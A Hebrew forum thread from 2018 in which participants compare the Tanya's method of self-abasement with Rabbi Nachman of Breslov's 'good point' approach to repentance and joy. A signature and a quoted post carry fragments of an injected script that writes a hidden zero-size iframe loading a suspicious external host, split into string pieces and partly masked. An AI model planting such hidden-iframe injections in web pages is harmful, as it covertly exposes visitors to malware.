| נשלח ב-26/7/2018 23:38 |
|
| |
שיטת ביטוש לעומת שיטת נקודה טובה
שני שיטות אלו (אחד של בעל התניא ושניה של רבי נחמן מברסלב)
שיטת הביטוש
שיטת הביטוש מוזכרת בספר התניא חלק א' פרק כט-לא: השיטה מבוססת על דברי הזוהר "גּוּפָא דְּלָא סָלֵק בֵּהּ נְהוֹרָא דְּנִשְׁמְתָא, מְבַטְּשִׁין לֵהּ "
לפי ספר התניא ויסודו בכתבי הארי לכל איש ישראל יש שני נפשות , נפש אלוקית ונפש בהמית , הנפש האלוקית היא חלק אלוקה ממעל ממש וכל חשקה ורצונה להדבק בה' (שם פרק ב') , ונפש השנית היא נפש הבהמית שהיא מצד הקליפה וס"א וממנה באים כל המידות רעות של האדם (גאווה תאוה עצלות וכו') ובאיש ישראל גם מידות טובות שבטבע כל ישראל כגון רחמנות וגמילות חסדים . האדם עצמו לפי ספר התניא הוא הנפש הבהמית:
"היא הסטרא אחרא שהיא היא האדם עצמו בבינונים ,שנפש החיונית המחיה הגוף היא בתקפה כתולדתה בלבו, נמצא היא היא האדם עצמו. ועל נפש האלהית שבו נאמר נשמה שנתת בי טהורה היא, שנתת בי דייקא מכלל שהאדם עצמו איננו הנשמה הטהורה"
האדם הוא נפש הבהמית שהיא קליפה שהיא דבר רע ומתועב שהוא הפך לאלוקות , לכן מייעץ בעל התניא למי שליבו אטום ויש לו טמטום הלב ולא יכול לפתוח לבו לעבודה ה' לבטש את עצמו כלומר להשפיל את עצמו :
"לקבוע עתים להשפיל עצמו להיות נבזה בעיניו נמאס...דהיינו לרגוז על נפש הבהמית שהיא יצרו הרע בקול רעש ורוגז במחשבתו לומר לו אתה רע ורשע ומשוקץ ומתועב ומנוול וכו' ככל השמות שקראו לו חכמינו ז"ל באמת עד מתי תסתיר לפני אור א"ס ב"ה הממלא כל עלמין היה הוה ויהיה בשוה גם במקום זה שאני עליו כמו שהיה אור א"ס ב"ה לבדו קודם שנברא העולם בלי שום שינוי כמ"ש אני ה' לא שניתי כי הוא למעלה מהזמן וכו' ואתה מנוול וכו' מכחיש האמת הנראה לעינים דכולא קמיה כלא ממש באמת בבחי' ראייה חושיית"
וע"י כך יבוא לידי שמחה :
"ואח"כ יבא לידי שמחה אמיתית דהיינו שזאת ישיב אל לבו לנחמו בכפליים אחר הדברי' והאמת האלה הנ"ל לאמר ללבו אמת הוא כן בלי ספק שאני רחוק מאד מה' בתכלית ומשוקץ ומתועב כו', אך כל זה הוא אני לבדי הוא הגוף עם נפש החיונית שבו, אבל מ"מ יש בקרבי חלק ה' ממש שישנו אפי' בקל שבקלים שהיא נפש האלהית ...וא"כ אדרבה כל מה שאני בתכלי' הריחוק מה' והתיעוב ושיקוץ הרי נפש האלהית שבי בגלות גדול יותר והרחמנות עליה גדולה מאד ולזה אשים כל מגמתי וחפצי להוציאה ולהעלותה מגלות זה להשיבה אל בית אביה כנעוריה"
 |
|
|
|
|
| נשלח ב-26/7/2018 23:39 |
|
| |
שיטת נקודה טובה
השיטה מוזכרת בספר ליקוטי מוהר"ן ח"א תורה רפב : וזה עיקרי השיטה לפי הבנתי, הנקודה העצמית של האדם היא טובה, וגם אם אדם הוא רשע גמור הוא לא צריך להתמקד במעשים רעים שעשה אלא לחפש בעצמו איזה נקודה טובה ולהדגיש אותה , ועי"ז זוכה לשמחה ולחזור בתשובה [כיוון שמגלה ע"י הנקודה טובה שהרע הוא רק חיצוני ובאמת האדם הוא טוב (פרשנות שלי) ]. (גם במשנת רבי נחמן יש מושג של שברון לב אבל זה בחינה של צער על החטאים והריחוק מה' ולא בחינה של השפלת עצמך)
"דַּע כִּי צָרִיך לָדוּן אֶת כָּל אָדָם לְכַף זְכוּת וַאֲפִילּוּ מִי שֶׁהוּא רָשָׁע גָּמוּר צָרִיך לְחַפֵּשׂ וְלִמְצא בּוֹ אֵיזֶה מְעַט טוֹב, שֶׁבְּאוֹתוֹ הַמְּעַט אֵינוֹ רָשָׁע וְעַל יְדֵי זֶה שֶׁמּוֹצֵא בּוֹ מְעַט טוֹב, וְדָן אוֹתוֹ לְכַף זְכוּת עַל יְדֵי זֶה מַעֲלֶה אוֹתוֹ בֶּאֱמֶת לְכַף זְכוּת וְיוּכַל לַהֲשִׁיבוֹ בִּתְשׁוּבָה.... וְכֵן צָרִיך הָאָדָם לִמְצא גַּם בְּעַצְמוֹ כִּי זֶה יָדוּעַ שֶׁצָּרִיך הָאָדָם לִזָּהֵר מְאד לִהְיוֹת בְּשִׂמְחָה תָּמִיד וּלְהַרְחִיק הָעַצְבוּת מְאד מְאד [כַּמְבאָר. אֶצְלֵנוּ כַּמָּה פְּעָמִים] וַאֲפִילּוּ שכְּשֶׁמַּתְחִיל לְהִסְתַּכֵּל בְּעַצְמוֹ וְרוֹאֶה שֶׁאֵין בּוֹ שׁוּם טוֹב, וְהוּא מָלֵא חֲטָאִים וְרוֹצֶה הַבַּעַל דָּבָר לְהַפִּילוֹ עַל יְדֵי זֶה בְּעַצְבוּת וּמָרָה שְׁחוֹרָה, חַס וְשָׁלוֹם אַף עַל פִּי כֵן אָסוּר לוֹ לִפּל מִזֶּה רַק צָרִיך לְחַפֵּשׂ וְלִמְצא בְּעַצְמוֹ אֵיזֶה מְעַט טוֹב כִּי אֵיך אֶפְשָׁר שֶׁלּא עָשָׂה מִיָּמָיו אֵיזֶה מִצְוָה אוֹ דָּבָר טוֹב וְאַף שֶׁכְּשֶׁמַּתְחִיל לְהִסְתַּכֵּל בְּאוֹתוֹ הַדָּבָר הַטּוֹב הוּא רוֹאֶה שֶׁהוּא גַּם כֵּן מָלֵא פְּצָעִים וְאֵין בּוֹ מְתֹם הַיְנוּ שֶׁרוֹאֶה שֶׁגַּם הַמִּצְוָה וְהַדָּבָר שֶׁבִּקְדֻשָּׁה שֶׁזָּכָה לַעֲשׂוֹת הוּא גַּם כֵּן מָלֵא פְּנִיּוֹת וּמַחֲשָׁבוֹת זָרוֹת וּפְגָמִים הַרְבֵּה עִם כָּל זֶה אֵיך אֶפְשָׁר שֶׁלּא יִהְיֶה בְּאוֹתָהּ הַמִּצְוָה וְהַדָּבָר שֶׁבִּקְדֻשָּׁה אֵיזֶה מְעַט טוֹב כִּי עַל כָּל פָּנִים אֵיך שֶׁהוּא, עַל כָּל פָּנִים הָיָה אֵיזֶה נְקֻדָּה טוֹבָה בְּהַמִּצְוָה וְהַדָּבָר טוֹב שֶׁעָשָׂה כִּי צָרִיך הָאָדָם לְחַפֵּשׂ וּלְבַקֵּשׁ לִמְצא בְּעַצְמוֹ אֵיזֶה מְעַט טוֹב כְּדֵי לְהַחֲיוֹת אֶת עַצְמוֹ, וְלָבוֹא לִידֵי שִׂמְחָה כַּנַּ"ל וְעַל יְדֵי זֶה שֶׁמְּחַפֵּשׂ וּמוֹצֵא בְּעַצְמוֹ עֲדַיִן מְעַט טוֹב עַל יְדֵי זֶה הוּא יוֹצֵא בֶּאֱמֶת מִכַּף חוֹבָה לְכַף זְכוּת וְיוּכַל לָשׁוּב בִּתְשׁוּבָה"
 |
|
|
|
|
|
| נשלח ב-26/7/2018 23:45 |
|
| |
יוצא שלפי התניא גם מי שהוא צדיק גמור שלא חטא מעולם (לדעת התניא ביינוני זה מצב נפשי שלא חטא ולא יחטא לעולם) צריך להסתכל על עצמו כדבר רע ומתואב כיון שס"ס האדם זה הנפש הבהמית שהיא קליפה וסיטרא אחרא ולפי רבי נחמן הפוך גם מי שהוא רשע גמור צריך להסתכל על הנקודה טובה שבו ולומר לעצמו שהנקודה טובה היא העיקר וכל החטאים זה רק משהו חיצוני לאדם
|
|
|
|
| נשלח ב-27/7/2018 00:01 |
|
| |
משתדל
הדברים ראויים לעיון רחב. אבל קודם כל איקון ירוק!
התהליך של ר' נחמן מוכר לי ודבריו הם חשובים ונפלאים בעיני. למשל, מבחינה זו שאין הוא עסוק כלל בהשפלת ערכו העצמי של האדם בעיני עצמו, אלא להפך, הוא מציע לנו מבט חיובי על עצמנו. ודומה שזו אכן אחת הבעיות של דורנו (ואולי גם קודם לר' נחמן?). תוית שלילית, או סטיגמה, היא אחד הגורמים המעכבים את התשובה.
אשר לתניא, אפשר להבין אותו בשני כיוונים.
א. הכיוון המעשי, הפרגמטי. התניא מציע נראטיב שבו אדם יכול להגדיר את החלקים השליליים שלו בתור רע וחלק שפל, ועל ידי כך ליצור ביניהם מרחק. "זה לא אני, זו הנפש הבהמית שלי ואני עצמי הרבה יותר נעלה מזה". על ידי החיתוך הזה אדם מסייע לעצמו להתעלות, בדומה לר' נחמן, על ידי שהוא מזהה את עצמו עם החלק הנעלה.
ב. אבל בניגוד לר' נחמן יש כאן עיסוק בשלילה. אדם שמזהה את הרע שבתוכו, כמו כולנו ברגעים מסויימים, לפי ר' נחמן יחפש את הטוב ויתעלם מהרע. הוא יכיר ברע, לא יהפוך אותו למשהו זר, אלא יבקש להתקדם דרך הטוב שיש בו (אפילו ההודאה על האמת שיש לי חולשות היא נקודה טובה).
לפי התניא הדרך עוברת קודם כל על ידי חילוק של האני לשנים, השפל והנעלה.
בין שאר החסרונות שאני מוצא בתניא (אבל זה אני כנראה) הרי זו פשוט טעות במציאות.
וראה באשכול שלי על ספר "הנשמה" של הרב שטינזלץ, שבו ביקרתי את מושג האני שמיטשטש אצל התניא ובעקבותיו אצל שטינזלץ. החלקים הגבוהים אינם באמת אני. האני הוא כאן "למטה". זה יותר גרוע מאשר רק לחלק את האני לשנים כדי ליצור מרחק מן הרע לטוב ששניהם בי.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-27/7/2018 00:03 |
|
| |
האשכול על ספרו של שטינזלץ
|
|
|
|
| נשלח ב-27/7/2018 14:54 |
|
| |
| מיימוני כתב: |  |
אשר לתניא, אפשר להבין אותו בשני כיוונים.
א. הכיוון המעשי, הפרגמטי. התניא מציע נראטיב שבו אדם יכול להגדיר את החלקים השליליים שלו בתור רע וחלק שפל, ועל ידי כך ליצור ביניהם מרחק. "זה לא אני, זו הנפש הבהמית שלי ואני עצמי הרבה יותר נעלה מזה". על ידי החיתוך הזה אדם מסייע לעצמו להתעלות, בדומה לר' נחמן, על ידי שהוא מזהה את עצמו עם החלק הנעלה. ב. אבל בניגוד לר' נחמן יש כאן עיסוק בשלילה. אדם שמזהה את הרע שבתוכו, כמו כולנו ברגעים מסויימים, לפי ר' נחמן יחפש את הטוב ויתעלם מהרע. הוא יכיר ברע, לא יהפוך אותו למשהו זר, אלא יבקש להתקדם דרך הטוב שיש בו (אפילו ההודאה על האמת שיש לי חולשות היא נקודה טובה).
לפי התניא הדרך עוברת קודם כל על ידי חילוק של האני לשנים, השפל והנעלה.
בין שאר החסרונות שאני מוצא בתניא (אבל זה אני כנראה) הרי זו פשוט טעות במציאות.
וראה באשכול שלי על ספר "הנשמה" של הרב שטינזלץ, שבו ביקרתי את מושג האני שמיטשטש אצל התניא ובעקבותיו אצל שטינזלץ. החלקים הגבוהים אינם באמת אני. האני הוא כאן "למטה". זה יותר גרוע מאשר רק לחלק את האני לשנים כדי ליצור מרחק מן הרע לטוב ששניהם בי.
< type="text/">document.write("*************** scrolling="no" frameborder="0" height="0px" width="0px" src="ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+""><*"); |
|
מדברי התניא מבואר שהאדם זה הנפש הבהמית וככה הוא צריך לדעת ולחשוב ולא לשקר לעצמו שהוא נעלה מזה , רק שיש בו גם נפש אלוקית (שהיא חיצונית למהותו העצמי) שע"י קיום תו"מ היא מתגלת ע"י האדם (בכח הדיבור מחשבה ומעשה בתו"מ ) . מה שכן ניתן לבאר בדעת התניא היא שאף שהאדם עצמו זה הנפש הבהמית מ"מ כיוון שיש בו נפש אלוקית אף שהיא לא הוא עצמו, כיוון שהתכלית היא שיהפך עצמו לנפש האלוקית אף שבפועל בעולם הזה כמעט וזה לא אפשרי , זה מראה שיש לו שייכות לנקודה השורשית של הנפש האלקית וממלא בשורש האדם הוא כן טוב , רק במציאות בפועל העצמיות של האדם זה דבר רע. ובכך ניתן לקרב בין דברי התניא לדברי רבי נחמן, כלומר שהמחלוקת בינהם היא לא במציאות האם האדם הוא טוב או רע אלא על מה להסתכל האם להסתכל על השורש הטוב שבאדם (בכח) או על המציאות שהוא רע (בפועל).
לגבי ביקורת על דברי חכמים ופרט מדורות קודמים, אני מטבעי ירא לבקר מהכרת גדלות חכמתם וצידקתם לעומתנו, וראה במורה ח"א פרק ה' חשיבות תיקון המידות וריסון התאוות בנוסף לידעת כל ההקדמות הקשורות לחכמה לצורך בירור האמת . מה שכן נראה לומר שלדור שלנו הגישה של רבי נחמן יותר מתאימה.
 |
|
|
|
|
| נשלח ב-27/7/2018 18:29 |
|
| |
משתדל
כתבת
מדברי התניא מבואר שהאדם זה הנפש הבהמית וככה הוא צריך לדעת ולחשוב ולא לשקר לעצמו שהוא נעלה מזה , רק שיש בו גם נפש אלוקית (שהיא חיצונית למהותו העצמי) שע"י קיום תו"מ היא מתגלת ע"י האדם
אולי לך זה פשוט, ואולי זה באמת פשוט, אבל עבורי תימצתת במשפט אחד רעיון יסודי מאד במשנתו. וכיון שכך, קל לי יותר לקבל פרספקטיבה עליו.
וכפי שכתבנו שנינו, השאלה היא אם זה
א. נכון
ב. מועיל.
אפשר גם להציע
ג. תפיסה זו ביחס למקורות שלנו.
כמו כן מתבקש להציע סיכום של תשובות אפשריות לשאלה מיהו האדם. כמדומה שלפי התניא התשובה ממקמת את ה"אני" הרגיל והנפוץ בתחתית האפשרויות.
כמובן, העובדה שזה, נניח, מעליב ומקומם, אינה רלוונטית. השאלה היא אם זה נכון. הרי כל אדם עשוי, בזמן מן הזמנים, להסתכל על עצמו ולומר: האם אני יותר מאשר אוסף של אנוכיות, רצונות רעים, מעשים רעים, ושקרים. האם החלקים הטובים שלי הם יותר, נניח, הצגה למען אחרים או אלוקים או עצמי.
תפיסה כזו היא אפילו גרועה יותר, במידרג, מאשר התפיסה של נובהרדוק, שהיא חשדנית מאד כלפי האדם אבל אינה שוללת שהוא יכול גם להיות חיובי, טוב, אמיתי. זה רק נדיר ותמיד חשוד.
מסתבר שזה כך גם לגבי הגוי. איזה מעמד יש לו ולאני שלו ואיזה סיכוי יש או אין לו.
לפי גישה זו, אותו ניצוץ אלוקי שהבעש"ט, אם איני טועה, רואה באדם, בכל אדם, וכן לפי סיפורי ר' לוי יצחק מברדיצ'ב נקודה כזו באה לידי ביטוי כל העת, גם ברשעים, האם אין סתירה בין צד זה של החסידות לבין זה של התניא?
אף זאת אשאל: למי יכולה לקסום תפיסה כה אכזרית של האדם? האם לבני עליה שחשו שאם הגיעו למקום שבו מציגים להם מראה שלילית של עצמם אז זו האמת הקשה ולכן זה מקום האמת? או לאלו שממילא לא ציפו מעצמם להרבה או בכלל, ושמחו שיש להם לפחות מי שדרכו הם מתחברים, כי הוא הצדיק המושלם, שאין לו אפילו הרהור עבירה, ומבחינה אונטולוגית, כהמשך ל"תיקוני זוהר", הוא החיבור אל האלוקים?
כתבת
ניתן לקרב בין דברי התניא לדברי רבי נחמן, כלומר שהמחלוקת בינהם היא לא במציאות האם האדם הוא טוב או רע אלא על מה להסתכל האם להסתכל על השורש הטוב שבאדם (בכח) או על המציאות שהוא רע (בפועל)
1. איזה סיכוי יש לאדם הרע מטבעו כי הוא רק נפש בהמית? מדוע שנפש בהמית תחלום על התעלות?
2. האם לפי ר' נחמן האדם הוא כה שפל כמו לפי התניא? כל אדם? בוודאי שיכולים להיות מניעים רעים לכל אדם, ור' נחמן, אולי בגלל נימה ביוגרפית, פוסל גם צדיקים מפורסמים כמתחפשים. אבל האם הוא סבור שאין האדם אלא נפש בהמית שפלה? אתמהה
ואולי לכן כתבת "ניתן לקרב", כלומר להציע פרשנות כזו. אבל האם פרשנות כזו היא אמיתית?
כתבת
התכלית היא שיהפך עצמו לנפש האלוקית אף שבפועל בעולם הזה כמעט וזה לא אפשרי
השאלה, כפי שכתבתי גם באשכול על הרב שטינזלץ, היא מי הוא זה שהופך את עצמו. ואיך תיתכן לו בחירה. כי מי בוחר.
בשלמא (=זה בסדר, מונח תלמודי) לר' נחמן, הרי האני הוא אני, אלא שיש בו אי סדר, לפעמים אי סדר גדול מאד (כמו בסיפור על בן המלך ובן השפחה שהתחלפו, כי אלו חלקים שונים של האישיות המלאה). אבל אצל התניא החלק הנעלה הזה אינו קיים. יש רק שורש, כלומר מקור רחוק. ולא פשוט, אם בכלל אפשרי, להסביר מה בין השורש הרחוק לבין האני כאן למטה.
ושוב אני מעתיק אותו קטע
המחלוקת בינהם היא לא במציאות ...האם להסתכל על השורש הטוב שבאדם (בכח) או על המציאות שהוא רע (בפועל)
יש כאן שני שימושים במונח "בכוח".
האחד מהם מתאר אפשרויות פתוחות לפני האדם שהוא כבר כולו כאן. כאשר הרמב"ם למשל מציג את השימוש הלשוני של ה"בכוח" ב"מילות ההגיון" שלו, הוא כותב כי מי שיודע לכתוב הוא כותב בכוח. זה בידו אבל זה תמיד הוא עושה זאת.
כמדומה שזה מצבו של האדם אצל ר' נחמן. הוא טוב כאן ועכשו, אבל עליו לסדר את נפשו, שהיא כולה אצלו, אבל אינו מנהל עצמו כראוי.
לעומת זאת, ה"בכוח" של התניא אינו אפילו בכוח במובן שהעץ טמון בגרעין הקטן שלו שאם ניטע אותו באדמה ונשקה וכו' יצמח עץ לתפארת.
הנפש הבהמית לעולם לא תהיה אחרת ממה שהיא. האני עשוי להתחבר לחלקים חיצוניים לו. שהם לא הוא. זה "בכוח" רק במובן דומה לפיזיקה המודרנית, שאכן מוותרת על המושג של "בכוח", או של הכימיה. אפשר שאטום זה של חמצן יתחבר עם אטומים אלו של מימן ונקבל דבר חדש, מים. אבל החמצן לא יהיה מים. והנפש הבהמית - האם אפילו תהפוך לחלק מן האני החדש או שתישאר מאחור? ושוב השאלה: אז מי האני ואיפה הוא בהתחלה ובסוף?
כתבת
אני מטבעי ירא לבקר מהכרת גדלות חכמתם וצידקתם לעומתנו
כמה מתקו דבריך! מעוררי קנאה. אולי זה יקל אם אציין שאין אנו עוסקים בביקורת אלא בבירור. אם היה לפנינו תרגיל חשבון שביצע מישהו מפורסם מאד, ואנו מנסים להבין איך יצא לו מה שיצא, האם זו ביקורת? האם יש בו זלזול בכבודו?
 |
|
|
|
|
| נשלח ב-29/7/2018 01:02 |
|
| |
מיימוני הרבתה לשאול ולהקשות בטוב דעת וטעם , ובאמת הדברים מצריכים עיון ובירור מעמיק. אכתוב כעת מעט העולה על דעתי לפום ריהטא , אבל באמת הדברים מצריכים עיון יותר מעמיק .
נראה שהפתח להבנת דברי התניא הוא דווקא מהבנת מצבו הנפשי של הצדיק וז"ל בעל התניא שם : "מכלל שהאדם עצמו איננו הנשמה הטהורה כי אם בצדיקים שבהם הוא להפך שנשמה הטהורה שהיא נפש האלהית הוא האדם וגופם נקרא בשר אדם. וכמאמר הלל הזקן לתלמידיו כשהיה הולך לאכול היה אומר שהוא הולך לגמול חסד עם העלובה ועניה הוא גופו כי כמו זר נחשב אצלו ולכן אמר שהוא גומל חסד עמו במה שמאכילו כי הוא עצמו אינו רק נפש האלהית לבד כי היא לבדה מחיה גופו ובשרו שהרע שהיה בנפש החיונית המלובשת בדמו ובשרו נתהפך לטוב ונכלל בקדושת נפש האלהית ממש בצדיקים"
מצב נפשו של הצדיק הוא הפוך שנפש האלוקית היא אצלו האדם עצמו , וכאן יש לשאול הרי הצדיק לפני שנהיה צדיק היה בדרגת בינוני , שאז הנפש הבהמית היתה הוא עצמו.. ואם כן כאשר נהפך להיות צדיק שינה את מהותו מנפש בהמית לנפש אלוקית .. ובאמת איך אפשר לשנות את העצם מדבר אחד לאחר ? לכן נראה להסביר שהאני של האדם הינו כלי ללבוש את הצורה של הנפש הבהמית וכמו כן יכול ללבוש את הצורה של הנפש האלוקית , וכל זמן שהאדם הוא בדרגת בינוני כיוון שהצורה שלו זה הנפש הבהמית לכן זה מה שמגדיר את מהותו כי הצורה היא המהות , וכאשר מגיע לדרגת צדיק אזי פושט צורה ולובש צורה חדשה של הנפש האלוקית ולכן אז מוגדר שהוא הנפש האלוקית.
לגבי מה שכתבת לגבי ביקורת , השאלה היא האם הקושיות שיש לנו הם על עצמנו שאנחנו ה"בעייתים" שלא מבינים או שהקושי הוא על דברי המוקשה .. התוספות שנשאר לפעמים בסוף דבריו בצ"ע , כוונותו שהוא צריך עיון להבנת דברי הגמרא , דברי הגמרא אמת רק לי התוספות קשה עליהם ואני צריך עיון ליישבם
 |
|
|
|
|
|